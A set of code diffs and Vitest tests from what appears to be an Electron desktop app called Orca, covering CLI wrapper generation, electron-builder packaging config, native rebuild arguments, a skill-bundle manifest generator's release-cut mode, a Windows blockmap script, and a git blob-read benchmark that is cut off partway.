import path from 'node:path'
import { describe, expect, it } from 'vitest'
import { prepareDevCliTerminalWrappers } from './dev-cli-terminal-wrapper.mjs'
describe('dev CLI terminal wrappers', () => {
it('writes profile-scoped Windows wrappers for worker terminals', () => {
const root = mkdtempSync(path.join(tmpdir(), 'orca-dev-terminal-wrapper-'))
const userDataPath = path.join(root, 'profile')
prepareDevCliTerminalWrappers({
repoRoot: root,
userDataPath,
electronExecutable: path.join(root, 'electron.exe'),
platform: 'win32'
})
const wrapper = readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca-dev.cmd'), 'utf8')
expect(wrapper).toContain(`set "ORCA_USER_DATA_PATH=${userDataPath}"`)
expect(wrapper).toContain('set "ORCA_DEV_CLI_INVOCATION=1"')
expect(wrapper).toContain(`node "${path.join(root, 'out', 'cli', 'index.js')}" %*`)
expect(readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca.cmd'), 'utf8')).toBe(wrapper)
expect(readFileSync(path.join(root, 'out', 'bin', 'orca-dev.cmd'), 'utf8')).toBe(wrapper)
expect(readFileSync(path.join(root, 'out', 'bin', 'orca.cmd'), 'utf8')).toBe(wrapper)
})
it('escapes literal percent signs in every Windows batch path', () => {
const root = path.join(mkdtempSync(path.join(tmpdir(), 'orca-dev-terminal-wrapper-')), '%repo%')
const userDataPath = path.join(root, '%profile%')
const electronExecutable = path.join(root, '%electron%', 'electron.exe')
prepareDevCliTerminalWrappers({
repoRoot: root,
userDataPath,
electronExecutable,
platform: 'win32'
})
const wrapper = readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca-dev.cmd'), 'utf8')
expect(wrapper).toContain(`set "ORCA_USER_DATA_PATH=${userDataPath.replaceAll('%', '%%')}"`)
expect(wrapper).toContain(
`set "ORCA_APP_EXECUTABLE=${electronExecutable.replaceAll('%', '%%')}"`
)
expect(wrapper).toContain(
`node "${path.join(root, 'out', 'cli', 'index.js').replaceAll('%', '%%')}" %*`
)
expect(readFileSync(path.join(root, 'out', 'bin', 'orca-dev.cmd'), 'utf8')).toBe(wrapper)
expect(readFileSync(path.join(root, 'out', 'bin', 'orca.cmd'), 'utf8')).toBe(wrapper)
})
it('writes executable-style POSIX wrappers with the same profile identity', () => {
const root = mkdtempSync(path.join(tmpdir(), 'orca-dev-terminal-wrapper-'))
const userDataPath = path.join(root, 'profile')
prepareDevCliTerminalWrappers({
repoRoot: root,
userDataPath,
electronExecutable: path.join(root, 'electron'),
platform: 'linux'
})
const wrapper = readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca-dev'), 'utf8')
expect(wrapper).toContain(`export ORCA_USER_DATA_PATH=${JSON.stringify(userDataPath)}`)
expect(wrapper).toContain('export ORCA_DEV_CLI_INVOCATION=1')
expect(wrapper).toContain(
`exec node ${JSON.stringify(path.join(root, 'out', 'cli', 'index.js'))}`
)
expect(readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca'), 'utf8')).toBe(wrapper)
expect(readFileSync(path.join(root, 'out', 'bin', 'orca-dev'), 'utf8')).toBe(wrapper)
expect(readFileSync(path.join(root, 'out', 'bin', 'orca'), 'utf8')).toBe(wrapper)
})
})
@@ -1,4 +1,4 @@
import { mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
import { cp, mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
import { createRequire } from 'node:module'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
@@ -35,17 +35,25 @@ describe('electron-builder config', () => {
'!pr-evidence{,/**/*}',
'!Casks{,/**/*}',
'!{AGENTS.md,CLAUDE.md,DEVELOPING.md,bundle-size-progress.md}',
'!out/**/*.test.js'
'!out/**/*.test.js',
'!resources/plugins/launch/**'
])
)
})
it('keeps runtime resources available through extraResources', () => {
const bundledPluginResources = expect.objectContaining({
from: 'resources/plugins/launch',
to: 'plugins/launch'
})
for (const platform of ['mac', 'linux', 'win']) {
expect(electronBuilderConfig[platform].extraResources).toContainEqual({
from: 'resources/skills',
to: 'skills'
})
expect(electronBuilderConfig[platform].extraResources).toEqual(
expect.arrayContaining([bundledPluginResources])
)
}
expect(electronBuilderConfig.mac.extraResources).toEqual(
expect.arrayContaining([
@@ -77,6 +85,26 @@ describe('electron-builder config', () => {
)
})
// Why: the Windows CLI shim is delivered only via extraResources to
// resources/bin/orca.cmd (beside the native resources/bin/orca.exe). If the
// source tree is also packed into app.asar it gets extracted by
// asarUnpack:['resources/**'] to app.asar.unpacked/resources/win32/bin/orca.cmd,
// a duplicate with no adjacent orca.exe that fails to launch (#7351).
it('keeps the Windows CLI shim source tree out of app.asar', () => {
expect(electronBuilderConfig.files).toEqual(
expect.arrayContaining(['!resources/win32{,/**/*}'])
)
// Regression guard: the working shim must still ship via extraResources.
expect(electronBuilderConfig.win.extraResources).toEqual(
expect.arrayContaining([
expect.objectContaining({
from: 'resources/win32/bin/orca.cmd',
to: 'bin/orca.cmd'
})
])
)
})
// Why: on macOS 26 UNUserNotificationCenter aborts for executables launched
// from Contents/Resources, so the helper must ship in Contents/MacOS (#7929).
it('ships the mac notification-status helper in Contents/MacOS, not Resources', () => {
@@ -366,6 +394,11 @@ describe('electron-builder config', () => {
const resourcesDir = join(root, 'linux-unpacked', 'resources')
const launcherPath = join(resourcesDir, 'bin', 'orca-ide')
await mkdir(join(resourcesDir, 'bin'), { recursive: true })
await cp(
join(process.cwd(), 'resources', 'plugins', 'launch'),
join(resourcesDir, 'plugins', 'launch'),
{ recursive: true }
)
await mkdir(join(resourcesDir, 'node_modules', 'zod', 'src'), { recursive: true })
// Why: afterPack now fails hard when the unpacked daemon entry is
// missing, so the fixture must carry one like a real package layout.
@@ -7,8 +7,8 @@ function electronBuilderNativeRebuild(context) {
return runElectronBuilderNativeRebuild(context)
}
function runElectronBuilderNativeRebuild(context, runner = execFileSync) {
const args = buildNativeRebuildArgs(context)
function runElectronBuilderNativeRebuild(context, runner = execFileSync, runtime = {}) {
const args = buildNativeRebuildArgs(context, runtime)
if (readPlatformName(context?.platform) === 'win32') {
runner(process.execPath, ['config/scripts/build-windows-cli-launcher.mjs'], {
cwd: projectDir,
@@ -25,15 +25,22 @@ function runElectronBuilderNativeRebuild(context, runner = execFileSync) {
return false
}
function buildNativeRebuildArgs(context) {
function buildNativeRebuildArgs(
context,
{ environment = process.env, hostPlatform = process.platform, hostArch = process.arch } = {}
) {
const platform = readPlatformName(context?.platform)
const arch = readArchName(context?.arch)
const canReusePreparedRuntime =
environment.ORCA_REUSE_PREPARED_NATIVE_RUNTIME === '1' &&
platform === hostPlatform &&
arch === hostArch
return [
'config/scripts/rebuild-native-deps.mjs',
`--platform=${platform}`,
`--arch=${arch}`,
'--force'
...(canReusePreparedRuntime ? [] : ['--force'])
]
}
@@ -42,6 +42,33 @@ describe('electron-builder native rebuild hook', () => {
])
})
it('reuses a prepared native runtime only for the host target', () => {
const runtime = {
environment: { ORCA_REUSE_PREPARED_NATIVE_RUNTIME: '1' },
hostPlatform: 'linux',
hostArch: 'x64'
}
expect(
buildNativeRebuildArgs(
{
platform: { nodeName: 'linux' },
arch: 'x64'
},
runtime
)
).toEqual(['config/scripts/rebuild-native-deps.mjs', '--platform=linux', '--arch=x64'])
expect(
buildNativeRebuildArgs(
{
platform: { nodeName: 'linux' },
arch: 'arm64'
},
runtime
)
).toContain('--force')
})
it('builds the native CLI launcher before packaging Windows resources', () => {
const calls = []
const result = runElectronBuilderNativeRebuild(
@@ -0,0 +1,42 @@
import { readFileSync } from 'node:fs'
import { describe, expect, it } from 'vitest'
import { electronViteConfig } from '../../electron.vite.config'
const targetConfig = readFileSync('config/electron-vite-target.config.ts', 'utf8')
describe('Electron Vite output contract', () => {
it('keeps main-process and plain-Node entries at stable CommonJS paths', () => {
const output = electronViteConfig.main?.build?.rollupOptions?.output
if (!output || Array.isArray(output)) {
throw new Error('Expected one main-process output')
}
expect(output.format).toBe('cjs')
expect(output.entryFileNames).toBe('[name].js')
expect(output.chunkFileNames).toBe('chunks/[name]-[hash].js')
})
it('externalizes packaged dependencies but bundles the daemon xterm graph', () => {
const external = electronViteConfig.main?.build?.rollupOptions?.external
if (typeof external !== 'function') {
throw new Error('Expected main-process external predicate')
}
expect(external('node-pty', undefined, false)).toBe(true)
expect(external('@parcel/watcher', undefined, false)).toBe(true)
expect(external('electron', undefined, false)).toBe(true)
expect(external('node:fs', undefined, false)).toBe(true)
expect(external('@xterm/headless', undefined, false)).toBe(false)
expect(external('@xterm/addon-serialize', undefined, false)).toBe(false)
})
it('isolates renderer entry side effects behind strict facades', () => {
expect(electronViteConfig.renderer?.build?.rollupOptions?.preserveEntrySignatures).toBe(
'strict'
)
})
it('rejects prototype properties as build targets', () => {
expect(targetConfig).toContain('Object.prototype.hasOwnProperty.call(configByTarget, target)')
})
})
+118 -19
View File
@@ -18,6 +18,11 @@ const OUTPUT_ROOT = path.join(REPO_ROOT, 'resources', 'skills')
const CURRENT_MANIFEST_PATH = path.join(OUTPUT_ROOT, 'current-manifest.json')
const SNAPSHOT_REGISTRY_PATH = path.join(OUTPUT_ROOT, 'snapshot-registry.json')
const RELEASE_MAPPING_PATH = path.join(OUTPUT_ROOT, 'release-mapping.json')
// Why: the manifest and registry are content-addressed — they describe skill
// bytes. The mapping is provenance: which already-committed revision a tag
// shipped. A release cut may append the second without regenerating the first.
const CONTENT_ADDRESSED_PATHS = [CURRENT_MANIFEST_PATH, SNAPSHOT_REGISTRY_PATH]
const ALL_ARTIFACT_PATHS = [...CONTENT_ADDRESSED_PATHS, RELEASE_MAPPING_PATH]
function sha256(bytes) {
return createHash('sha256').update(bytes).digest('hex')
@@ -370,14 +375,77 @@ function buildReleasedHistory() {
return { registry, mapping }
}
// Why: the artifacts must be pure functions of skills/ bytes and release-tag
// history. Stamping the app version made every release cut invalidate the
// committed output on all open branches and drag skill CI onto unrelated PRs.
async function buildArtifacts() {
// Why: released history is authoritative committed data, advanced only at
// release cut. Seeding generation from the committed registry + mapping makes
// ordinary verify/regeneration a pure function of working-tree bytes, so it
// never walks git tags — the root cause of recurring lint drift when a clone
// holds stray, deleted, or fork tags the committed artifacts predate.
function releasedHistoryFromCommitted(committedRegistry, committedMapping) {
const registry = { schemaVersion: SNAPSHOT_REGISTRY_SCHEMA_VERSION, skills: {} }
const releasedSnapshotCounts = {}
const mapping =
committedMapping && committedMapping.schemaVersion === RELEASE_MAPPING_SCHEMA_VERSION
? structuredClone(committedMapping)
: { schemaVersion: RELEASE_MAPPING_SCHEMA_VERSION, releases: [] }
if (committedRegistry && committedRegistry.schemaVersion === SNAPSHOT_REGISTRY_SCHEMA_VERSION) {
const mappedCounts = releasedSnapshotCountsFromMapping(mapping)
for (const [name, snapshots] of Object.entries(committedRegistry.skills ?? {})) {
// The committed registry carries at most one unreleased tail beyond the
// revisions named by the mapping; drop it and recompute it from bytes.
const releasedCount = mappedCounts?.[name] ?? Math.max(0, snapshots.length - 1)
registry.skills[name] = snapshots.slice(0, releasedCount)
releasedSnapshotCounts[name] = releasedCount
}
}
return { registry, mapping, releasedSnapshotCounts }
}
// Why: disaster recovery only. Reconstruct released history from the immutable
// release tags when the committed ledger must be rebuilt from scratch. Kept off
// the verify/regenerate path — walking tags there is what coupled lint to the
// executing clone's tag state and broke it on version bumps, new tags, and
// stray/deleted local tags.
function releasedHistoryFromTags() {
const { registry, mapping } = buildReleasedHistory()
const releasedSnapshotCounts = Object.fromEntries(
Object.entries(registry.skills).map(([name, snapshots]) => [name, snapshots.length])
)
return { registry, mapping, releasedSnapshotCounts }
}
// Why: release cut is the single authoritative point where working-tree bytes
// become an immutable released revision. Append one mapping row for the version,
// mirroring the historical dedupe where consecutive identical skill trees share
// the earliest release's row.
function appendReleaseRow(artifacts, version) {
const appVersion = version.startsWith('v') ? version.slice(1) : version
const currentRevisions = {}
for (const skill of artifacts.currentManifest.skills) {
currentRevisions[skill.name] = skill.releaseRevision
}
const releases = artifacts.releaseMapping.releases
const last = releases.at(-1)
if (last && isDeepStrictEqual(last.skills, currentRevisions)) {
return
}
// Why: a cut that pushed the version bump to main but died before pushing the
// tag is re-cut at the same version. If skills changed in between, appending
// would leave two rows claiming this version and the stale one would name
// revisions that tag never ships — overwrite, since the tag ships these bytes.
if (last?.appVersion === appVersion) {
releases[releases.length - 1] = { appVersion, skills: currentRevisions }
return
}
// Why: an earlier row means re-cutting an already-shipped version, which the
// cut workflow refuses upstream. Fail rather than corrupt shipped provenance.
if (releases.some((release) => release.appVersion === appVersion)) {
throw new Error(`Release mapping already has a row for ${appVersion}.`)
}
releases.push({ appVersion, skills: currentRevisions })
}
async function buildArtifacts(releasedHistory) {
const { registry, mapping, releasedSnapshotCounts } = releasedHistory
const skillDirectories = (await readdir(SKILLS_ROOT, { withFileTypes: true }))
.filter((entry) => entry.isDirectory())
.map((entry) => entry.name)
@@ -488,13 +556,14 @@ function serialized(value) {
return `${JSON.stringify(value, null, 2)}\n`
}
async function writeArtifacts(artifacts) {
await mkdir(OUTPUT_ROOT, { recursive: true })
await Promise.all([
writeFile(CURRENT_MANIFEST_PATH, serialized(artifacts.currentManifest)),
writeFile(SNAPSHOT_REGISTRY_PATH, serialized(artifacts.snapshotRegistry)),
writeFile(RELEASE_MAPPING_PATH, serialized(artifacts.releaseMapping))
async function writeArtifacts(artifacts, paths = ALL_ARTIFACT_PATHS) {
const values = new Map([
[CURRENT_MANIFEST_PATH, artifacts.currentManifest],
[SNAPSHOT_REGISTRY_PATH, artifacts.snapshotRegistry],
[RELEASE_MAPPING_PATH, artifacts.releaseMapping]
])
await mkdir(OUTPUT_ROOT, { recursive: true })
await Promise.all(paths.map((filePath) => writeFile(filePath, serialized(values.get(filePath)))))
}
// Why: cutting a release tag adds a trailing mapping row on every checkout at
@@ -529,12 +598,12 @@ function isToleratedReleaseMappingPrefix(committedText, artifacts) {
.every((release) => isDeepStrictEqual(release.skills, currentRevisions))
}
async function verifyArtifacts(artifacts) {
async function verifyArtifacts(artifacts, paths = ALL_ARTIFACT_PATHS) {
const expected = [
[CURRENT_MANIFEST_PATH, artifacts.currentManifest, null],
[SNAPSHOT_REGISTRY_PATH, artifacts.snapshotRegistry, null],
[RELEASE_MAPPING_PATH, artifacts.releaseMapping, isToleratedReleaseMappingPrefix]
]
].filter(([filePath]) => paths.includes(filePath))
const stale = []
for (const [filePath, value, tolerated] of expected) {
try {
@@ -557,13 +626,41 @@ async function verifyArtifacts(artifacts) {
}
async function main() {
const artifacts = await buildArtifacts()
assertReleasedHistoryPreserved(
await readCommittedRegistry(),
artifacts,
await readCommittedReleaseMapping()
)
await (process.argv.includes('--write') ? writeArtifacts : verifyArtifacts)(artifacts)
const argv = process.argv.slice(2)
const rebuildFromTags = argv.includes('--rebuild-from-tags')
const releaseIndex = argv.indexOf('--release')
const releaseVersion = releaseIndex >= 0 ? argv[releaseIndex + 1] : null
if (releaseIndex >= 0 && !releaseVersion) {
throw new Error('--release requires a version argument, e.g. --release 1.4.160')
}
const committedRegistry = await readCommittedRegistry()
const committedMapping = await readCommittedReleaseMapping()
const releasedHistory = rebuildFromTags
? releasedHistoryFromTags()
: releasedHistoryFromCommitted(committedRegistry, committedMapping)
const artifacts = await buildArtifacts(releasedHistory)
if (releaseVersion) {
// Why: the row names revisions the committed registry must already contain,
// so proving those artifacts match this ref is what lets the cut record
// provenance without regenerating them. If regeneration disagrees with what
// is committed, the row would name a revision this tag does not ship.
await verifyArtifacts(artifacts, CONTENT_ADDRESSED_PATHS)
appendReleaseRow(artifacts, releaseVersion)
}
// Why: released snapshots are append-only. The committed registry/mapping are
// read fresh here so the artifacts (which may have appended a release row) can
// never alias what we validate against. This mapping must stay the PRE-append
// one to match artifacts.releasedSnapshotCounts, which seeding fixed before the
// row existed; the post-append mapping names one more revision than the counts
// do, which reads as incomplete history and would throw on every cut.
assertReleasedHistoryPreserved(committedRegistry, artifacts, committedMapping)
const shouldWrite = releaseVersion !== null || argv.includes('--write')
const writePaths = releaseVersion ? [RELEASE_MAPPING_PATH] : ALL_ARTIFACT_PATHS
await (shouldWrite ? writeArtifacts(artifacts, writePaths) : verifyArtifacts(artifacts))
}
if (process.argv[1] && path.resolve(process.argv[1]) === import.meta.filename) {
@@ -574,6 +671,7 @@ if (process.argv[1] && path.resolve(process.argv[1]) === import.meta.filename) {
}
export {
appendReleaseRow,
assertReleasedHistoryPreserved,
buildArtifacts,
buildReleasedHistory,
@@ -584,6 +682,7 @@ export {
isToleratedReleaseMappingPrefix,
normalizeText,
packageDigest,
releasedHistoryFromCommitted,
sortManifestFiles,
verifyArtifacts,
writeArtifacts
@@ -1,9 +1,21 @@
import { execFileSync } from 'node:child_process'
import { chmod, mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'
import {
chmod,
copyFile,
mkdir,
mkdtemp,
readFile,
realpath,
rm,
symlink,
writeFile
} from 'node:fs/promises'
import { tmpdir } from 'node:os'
import path from 'node:path'
import { afterEach, describe, expect, it } from 'vitest'
import { parse } from 'yaml'
import {
appendReleaseRow,
assertReleasedHistoryPreserved,
classifyFile,
collectPackageFiles,
@@ -12,10 +24,12 @@ import {
isToleratedReleaseMappingPrefix,
normalizeText,
packageDigest,
releasedHistoryFromCommitted,
sortManifestFiles
} from './generate-skill-bundle-manifest.mjs'
const temporaryDirectories = []
const REPO_ROOT = path.resolve(import.meta.dirname, '..', '..')
async function createPackage() {
const directory = await mkdtemp(path.join(tmpdir(), 'orca-skill-manifest-'))
@@ -23,6 +37,26 @@ async function createPackage() {
return directory
}
// Why: the generator resolves its repo root from its own location, so a copy of
// the script inside a throwaway tree exercises the real CLI — including which
// artifacts each mode is allowed to write — without touching resources/skills.
async function createReleaseSandbox() {
// Node resolves the entry point through symlinks, so the script's own
// repo-root check only matches when the sandbox path is already resolved.
const root = await realpath(await createPackage())
const skillRoot = path.join(root, 'skills', 'demo')
const script = path.join(root, 'config', 'scripts', 'generate-skill-bundle-manifest.mjs')
await mkdir(path.dirname(script), { recursive: true })
await mkdir(skillRoot, { recursive: true })
await copyFile(path.join(import.meta.dirname, 'generate-skill-bundle-manifest.mjs'), script)
await writeFile(path.join(skillRoot, 'SKILL.md'), 'demo skill\n')
return {
generate: (...args) => execFileSync(process.execPath, [script, ...args], { stdio: 'pipe' }),
read: (name) => readFile(path.join(root, 'resources', 'skills', name), 'utf8'),
editSkill: (body) => writeFile(path.join(skillRoot, 'SKILL.md'), body)
}
}
afterEach(async () => {
await Promise.all(
temporaryDirectories.splice(0).map((directory) => rm(directory, { recursive: true }))
@@ -217,6 +251,158 @@ describe('skill bundle manifest generator', () => {
expect(isToleratedReleaseMappingPrefix(serialized({ schemaVersion: 1 }), artifacts)).toBe(false)
})
it('seeds released history from the committed ledger and drops the floating tail', () => {
const snapshot = (releaseRevision, packageDigest) => ({ releaseRevision, packageDigest })
const committedRegistry = {
schemaVersion: 1,
skills: {
// released revs 1..2 named by the mapping, plus an unreleased tail at 3
'orca-cli': [snapshot(1, 'aaa'), snapshot(2, 'bbb'), snapshot(3, 'unreleased')],
// no mapping row -> fall back to all-but-tail
'orca-linear': [snapshot(1, 'ccc'), snapshot(2, 'tail')]
}
}
const committedMapping = {
schemaVersion: 1,
releases: [{ appVersion: '1.0.0', skills: { 'orca-cli': 2 } }]
}
const seeded = releasedHistoryFromCommitted(committedRegistry, committedMapping)
// The unreleased tail is dropped; only mapping-named revisions survive.
expect(seeded.registry.skills['orca-cli']).toEqual([snapshot(1, 'aaa'), snapshot(2, 'bbb')])
expect(seeded.registry.skills['orca-linear']).toEqual([snapshot(1, 'ccc')])
expect(seeded.releasedSnapshotCounts).toEqual({ 'orca-cli': 2, 'orca-linear': 1 })
// The seed clones the mapping so a later release append cannot alias committed state.
expect(seeded.mapping).toEqual(committedMapping)
expect(seeded.mapping).not.toBe(committedMapping)
})
it('returns an empty ledger when no committed artifacts exist', () => {
const seeded = releasedHistoryFromCommitted(null, null)
expect(seeded.registry.skills).toEqual({})
expect(seeded.releasedSnapshotCounts).toEqual({})
expect(seeded.mapping.releases).toEqual([])
})
it('appends one release row, stripping the v-prefix and deduping identical tails', () => {
const artifacts = {
currentManifest: {
skills: [
{ name: 'orca-cli', releaseRevision: 36 },
{ name: 'orca-linear', releaseRevision: 8 }
]
},
releaseMapping: {
schemaVersion: 1,
releases: [{ appVersion: '1.4.151', skills: { 'orca-cli': 35, 'orca-linear': 8 } }]
}
}
appendReleaseRow(artifacts, 'v1.4.160')
expect(artifacts.releaseMapping.releases.at(-1)).toEqual({
appVersion: '1.4.160',
skills: { 'orca-cli': 36, 'orca-linear': 8 }
})
// A second release over identical revisions adds no row.
appendReleaseRow(artifacts, '1.4.161')
expect(artifacts.releaseMapping.releases).toHaveLength(2)
})
it('overwrites the trailing row when a failed cut is re-cut at the same version', () => {
const artifacts = {
currentManifest: { skills: [{ name: 'orca-cli', releaseRevision: 37 }] },
releaseMapping: {
schemaVersion: 1,
releases: [
{ appVersion: '1.4.151', skills: { 'orca-cli': 35 } },
// The failed cut already pushed this row to main at revision 36.
{ appVersion: '1.4.160', skills: { 'orca-cli': 36 } }
]
}
}
appendReleaseRow(artifacts, '1.4.160')
// One row per version: the tag ships revision 37, so 36 must not linger.
expect(artifacts.releaseMapping.releases).toEqual([
{ appVersion: '1.4.151', skills: { 'orca-cli': 35 } },
{ appVersion: '1.4.160', skills: { 'orca-cli': 37 } }
])
})
it('refuses to rewrite an already-shipped version behind the trailing row', () => {
const artifacts = {
currentManifest: { skills: [{ name: 'orca-cli', releaseRevision: 37 }] },
releaseMapping: {
schemaVersion: 1,
releases: [
{ appVersion: '1.4.151', skills: { 'orca-cli': 35 } },
{ appVersion: '1.4.160', skills: { 'orca-cli': 36 } }
]
}
}
expect(() => appendReleaseRow(artifacts, '1.4.151')).toThrow(/already has a row for 1\.4\.151/)
})
it('records a release without regenerating the content-addressed artifacts', async () => {
const sandbox = await createReleaseSandbox()
sandbox.generate('--write')
const [manifest, registry] = await Promise.all([
sandbox.read('current-manifest.json'),
sandbox.read('snapshot-registry.json')
])
sandbox.generate('--release', 'v1.4.156')
// The cut records provenance for bytes that are already committed, so a
// version-only cut can never rewrite a shipped identity.
expect(JSON.parse(await sandbox.read('release-mapping.json')).releases).toEqual([
{ appVersion: '1.4.156', skills: { demo: 1 } }
])
expect(await sandbox.read('current-manifest.json')).toBe(manifest)
expect(await sandbox.read('snapshot-registry.json')).toBe(registry)
// Bytes that changed since the last regeneration would make the row name a
// revision this tag does not ship — refuse rather than record it.
await sandbox.editSkill('edited after the last regeneration\n')
expect(() => sandbox.generate('--release', '1.4.157')).toThrow(
/Generated skill artifacts are stale/
)
expect(JSON.parse(await sandbox.read('release-mapping.json')).releases).toHaveLength(1)
})
it('freezes a revision once a release records it, and only until then', async () => {
const sandbox = await createReleaseSandbox()
const demoSnapshots = async () =>
JSON.parse(await sandbox.read('snapshot-registry.json')).skills.demo
sandbox.generate('--write')
const unreleased = (await demoSnapshots())[0].packageDigest
// Nothing has shipped revision 1 yet, so re-deriving it over new bytes is
// correct: the tail floats until a release names it.
await sandbox.editSkill('about to ship\n')
sandbox.generate('--write')
const shipped = await demoSnapshots()
expect(shipped).toHaveLength(1)
expect(shipped[0].packageDigest).not.toBe(unreleased)
sandbox.generate('--release', '1.4.156')
// The cut named revision 1, so the next change appends revision 2 instead of
// rebuilding revision 1. Installs carrying the shipped digest keep matching a
// known snapshot — without the ledger row they would match nothing.
await sandbox.editSkill('changed again after the cut\n')
sandbox.generate('--write')
const frozen = await demoSnapshots()
expect(frozen).toHaveLength(2)
expect(frozen[0]).toEqual(shipped[0])
expect(frozen[1].releaseRevision).toBe(2)
})
it.runIf(process.platform !== 'win32')(
'rejects executable files in shipped skill packages',
async () => {
@@ -277,4 +463,44 @@ describe('skill bundle manifest generator', () => {
expect(gitTreeSha(files)).toBe(expected)
})
// Why: every step in the cut job shares one workspace and one index, so any of
// them can stage the content-addressed artifacts and the bump step's own commit
// then carries them into the tag. Grepping the workflow cannot see a path built
// from an env var, a composite action, or concatenation, so the cut asserts its
// own index before committing; this test pins that guard and adds a tripwire
// for the literal spellings.
it('keeps the whole release-cut job off skill regeneration', async () => {
const workflow = parse(
await readFile(path.join(REPO_ROOT, '.github/workflows/release-cut.yml'), 'utf8')
)
const runSteps = workflow.jobs.cut.steps
.filter((step) => typeof step.run === 'string')
.map((step) => ({ name: step.name ?? '(unnamed)', run: step.run.replace(/^\s*#.*$/gm, '') }))
const bumpStep = runSteps.find((step) => step.name === 'Bump package.json and tag')
// The load-bearing check: whatever staged it and however the commit was
// spelled, only these two paths may ship. Asserted on the commit rather than
// the index because `git commit -a/-i/--only/<pathspec>` bypasses the index.
// -F is part of the contract; without it `.` admits a path like packageXjson.
// Flags pinned, not just the command: a `--diff-filter` slipped in here would
// silence modifications, and dropping -m makes a merge commit report nothing.
expect(bumpStep.run).toMatch(
/git diff-tree --no-commit-id --name-only -r -m --first-parent HEAD\s*\|\s*grep -vxF -e 'package\.json' -e 'resources\/skills\/release-mapping\.json'/
)
expect(bumpStep.run.indexOf('grep -vxF')).toBeLessThan(bumpStep.run.indexOf('git tag'))
// ...and that it aborts. A guard degraded to a warning still reads as covered.
// The exit must be inside the guard's own block, not borrowed from a later one.
expect(bumpStep.run).toMatch(
/if \[\[ -n "\$committed" \]\]; then(?:(?!\bfi\b)[\s\S])*exit 1[\s\S]*?fi/
)
// Tripwire only. A step that merely READS this directory may be added here;
// one that writes or stages it must not, and the guard above will reject it.
expect(runSteps.filter((s) => /resources[/\\]skills/.test(s.run)).map((s) => s.name)).toEqual([
'Bump package.json and tag'
])
for (const step of runSteps) {
expect(step.run, step.name).not.toMatch(/--write|generate:skill-bundle-manifest/)
}
})
})
@@ -0,0 +1,18 @@
// Regenerate the electron-updater `.blockmap` for a (re-signed) Windows installer.
// electron-builder 26 dropped the app-builder-bin Go binary; blockmap generation
// now lives in app-builder-lib's pure-JS `buildBlockMap`. Mirrors createBlockmap's
// "gzip" format for the standalone NSIS installer blockmap.
import { createRequire } from 'node:module'
const require = createRequire(import.meta.url)
const [input, output] = process.argv.slice(2)
if (!input || !output) {
console.error('usage: generate-windows-blockmap.mjs <input.exe> <output.exe.blockmap>')
process.exit(1)
}
const { buildBlockMap } = require('app-builder-lib/out/targets/blockmap/blockmap')
const info = await buildBlockMap(input, 'gzip', output)
console.log(`blockmap written: ${output} (installer sha512=${info.sha512}, size=${info.size})`)
@@ -5,7 +5,7 @@ import { describe, expect, it } from 'vitest'
describe('Git binary compatibility PR gate', () => {
it('runs the real-binary contract at each compatibility boundary', () => {
const workflow = parse(readFileSync('.github/workflows/pr.yml', 'utf8'))
const step = workflow.jobs.verify.steps.find(
const step = workflow.jobs.git_compatibility.steps.find(
(candidate) => candidate.name === 'Verify Git binary compatibility matrix'
)
@@ -16,5 +16,8 @@ describe('Git binary compatibility PR gate', () => {
expect(step?.run).toContain('alpine/git:v2.49.1|2.49.1')
expect(step?.run).toContain('ORCA_GIT_COMPAT_IMAGE="$image"')
expect(step?.run).toContain('src/shared/git-binary-compatibility.test.ts')
expect(step?.run).toContain('-j"$(nproc)"')
expect(step?.run).toContain('pids+=("$!")')
expect(step?.run).toContain('wait "$pid" || status=1')
})
})
@@ -0,0 +1,128 @@
#!/usr/bin/env node
// Benchmark: latency of loading one file diff, which reads two git blobs.
//
// The diff loaders in src/main/git/status.ts awaited their two sides in series,
// so the second `git show` could not start until the first had fully returned.
// The two reads are independent, so that serialization was pure added latency on
// every diff the review panel opens.
//
// This spawns the real `git` binary against this repo, so it measures actual
// process-launch and read cost rather than a model of it. Over SSH each diff is
// one relay RPC and the two spawns run host-local inside the relay, so the same
// relative saving applies to remote-host spawn time, not to network round trips.
import { execFile } from 'node:child_process'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const REPO_ROOT = fileURLToPath(new URL('../..', import.meta.url))
const ITERATIONS = Number(process.env.ORCA_DIFF_BLOB_BENCH_ITERATIONS ?? '10')
const WARMUP = Number(process.env.ORCA_DIFF_BLOB_BENCH_WARMUP ?? '3')
for (const [name, value] of [
['ORCA_DIFF_BLOB_BENCH_ITERATIONS', ITERATIONS],
['ORCA_DIFF_BLOB_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isSafeInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
function git(args) {
return new Promise((resolve, reject) => {
execFile('git', args, { cwd: REPO_ROOT, maxBuffer: 256 * 1024 * 1024 }, (error, stdout) =>
error ? reject(error) : resolve(stdout)
)
})
}
// Pre-fix: await one side, then the other.
async function readSequential(leftRef, rightRef, filePath) {
const left = await git(['show', '--end-of-options', `${leftRef}:${filePath}`])
const right = await git(['show', '--end-of-options', `${rightRef}:${filePath}`])
return left.length + right.length
}
// Post-fix: issue both, await together.
async function readConcurrent(leftRef, rightRef, filePath) {
const [left, right] = await Promise.all([
git(['show', '--end-of-options', `${leftRef}:${filePath}`]),
git(['show', '--end-of-options', `${rightRef}:${filePath}`])
])
return left.length + right.length
}
// Why interleaved: running one strategy's whole batch before the other's lets
// cache warming, CPU-frequency drift, and background load correlate with the
// strategy being measured. Alternating per iteration and taking medians keeps
// that drift common to both arms.
async function measureInterleaved(leftRef, rightRef, filePath) {
for (let index = 0; index < WARMUP; index += 1) {
await readSequential(leftRef, rightRef, filePath)
await readConcurrent(leftRef, rightRef, filePath)
}
const sequentialSamples = []
const concurrentSamples = []
for (let index = 0; index < ITERATIONS; index += 1) {
// Alternate which arm goes first so neither systematically pays a cold cache.
const sequentialFirst = index % 2 === 0
for (const runSequential of sequentialFirst ? [true, false] : [false, true]) {
const start = performance.now()
await (runSequential ? readSequential : readConcurrent)(leftRef, rightRef, filePath)
